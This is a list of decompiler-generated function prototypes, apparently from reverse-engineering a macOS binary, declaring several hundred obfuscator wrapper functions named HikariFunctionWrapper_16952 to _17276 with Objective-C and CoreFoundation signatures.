id __fastcall HikariFunctionWrapper_16952(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16953(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16954(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16955(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16956(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16957(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16958(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16959(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_16960(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16961(__int64 a1);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16962();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16963();
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16964(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16965(void *a1);
id __fastcall HikariFunctionWrapper_16966(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16967(void *a1, const char *a2);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16968();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16969();
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16970(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16971(NSString *a1);
id __fastcall HikariFunctionWrapper_16972(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16973(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16974(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16975(void *a1);
id __fastcall HikariFunctionWrapper_16976(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16977(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16978(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16979(void *a1, const char *a2);
NSString *HikariFunctionWrapper_16980();
NSString *HikariFunctionWrapper_16981();
id __fastcall HikariFunctionWrapper_16982(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16983(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16984(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16985(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16986(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16987(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16988(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16989(void *a1, const char *a2);
NSString *HikariFunctionWrapper_16990();
NSString *HikariFunctionWrapper_16991();
id __fastcall HikariFunctionWrapper_16992(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16993(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16994(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16995(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16996(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16997(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16998(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16999(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17000(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17001(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_17002(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17003(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17004(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17005(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17006(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17007(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17008(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17009(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17010(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17011(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17012(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17013(NSString *a1);
CFIndex __fastcall HikariFunctionWrapper_17014(const __CFData *a1);
CFIndex __fastcall HikariFunctionWrapper_17015(const __CFData *a1);
const UInt8 *__fastcall HikariFunctionWrapper_17016(const __CFData *a1);
const UInt8 *__fastcall HikariFunctionWrapper_17017(const __CFData *a1);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17018();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17019();
CFDataRef __fastcall HikariFunctionWrapper_17020(const __CFAllocator *a1, const UInt8 *a2, CFIndex a3);
CFDataRef __fastcall HikariFunctionWrapper_17021(const __CFAllocator *a1, const UInt8 *a2, CFIndex a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17022(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17023(void *a1);
CFPropertyListRef __fastcall HikariFunctionWrapper_17024(const __CFAllocator *a1, const __CFData *a2, CFOptionFlags a3, CFPropertyListFormat *a4, CFErrorRef *a5);
CFPropertyListRef __fastcall HikariFunctionWrapper_17025(const __CFAllocator *a1, const __CFData *a2, CFOptionFlags a3, CFPropertyListFormat *a4, CFErrorRef *a5);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17026();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17027();
id __fastcall HikariFunctionWrapper_17028(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17029(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17030(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17031(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17032(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17033(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17034(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17035(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17036(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17037(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17038(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17039(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17040(objc_class *a1);
id __fastcall HikariFunctionWrapper_17041(objc_class *a1);
id __fastcall HikariFunctionWrapper_17042(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17043(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17044(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17045(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17046(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17047(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17048(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17049(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17050(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17051(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17052(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17053(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17054(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17055(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17056(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17057(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17058(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17059(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17060(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17061(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17062(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17063(void *a1);
id __fastcall HikariFunctionWrapper_17064(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17065(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17066(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17067(void *a1);
id __fastcall HikariFunctionWrapper_17068(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17069(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17070(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17071(void *a1);
id __fastcall HikariFunctionWrapper_17072(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17073(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17074(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17075(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17076(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17077(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17078(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17079(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17080(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17081(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17082(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17083(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17084(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17085(dispatch_queue_s *a1, void *a2);
id __fastcall HikariFunctionWrapper_17086(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17087(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17088(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17089(void *a1);
int __fastcall HikariFunctionWrapper_17090(const char *a1);
int __fastcall HikariFunctionWrapper_17091(const char *a1);
id __fastcall HikariFunctionWrapper_17092(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17093(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17094(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17095(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17096(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17097(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17098(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17099(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17100(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17101(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17102(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17103(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17104(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17105(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17106(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17107(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_17108(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17109(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17110(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17111(__int64 a1);
id __fastcall HikariFunctionWrapper_17112(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17113(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17114(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17115(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17116(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17117(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17118(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17119(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17120(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17121(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17122(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17123(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17124(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17125(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17126(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17127(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17128(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17129(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17130(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17131(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17132(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17133(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17134(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17135(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17136(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17137(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17138(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17139(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17140(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17141(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17142(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17143(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17144(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17145(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17146(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17147(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17148(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17149(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17150(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17151(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17152(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17153(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17154(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17155(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17156(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17157(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17158(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17159(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17160(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17161(__int64 a1);
id __fastcall HikariFunctionWrapper_17162(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17163(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17164(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17165(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17166(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17167(__int64 a1);
id __fastcall HikariFunctionWrapper_17168(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17169(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17170(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17171(__int64 a1);
id __fastcall HikariFunctionWrapper_17172(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17173(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17174(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17175(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17176(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17177(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17178(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17179(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17180(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17181(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17182(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17183(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17184(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17185(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17186(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17187(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17188(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17189(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17190(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17191(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17192(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17193(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17194(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17195(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17196(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17197(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17198(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17199(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17200(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17201(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17202(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17203(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17204(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17205(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17206(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17207(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17208(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17209(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17210(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17211(void *a1, const char *a2);
CFIndex __fastcall HikariFunctionWrapper_17212(const __CFArray *a1);
CFIndex __fastcall HikariFunctionWrapper_17213(const __CFArray *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17214(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17215(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17216(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17217(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17218(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17219(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17220(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17221(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17222(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17223(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17224(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17225(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17226(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17227(__int64 a1);
id __fastcall HikariFunctionWrapper_17228(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17229(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17230(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17231(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17232(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17233(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17234(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17235(__int64 a1);
id __fastcall HikariFunctionWrapper_17236(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17237(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17238(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17239(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17240(void *a1);
id __fastcall HikariFunctionWrapper_17241(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17242(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17243(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17244(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17245(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17246(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17247(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17248(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17249(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17250(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17251(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17252(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17253(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17254(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17255(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17256(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17257(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17258(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17259(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17260(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17261(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17262(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17263(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17264(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17265(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17266(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17267(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17268(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17269(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17270(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17271(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17272(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17273(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17274(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17275(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17276(void *a1, const char *a2);
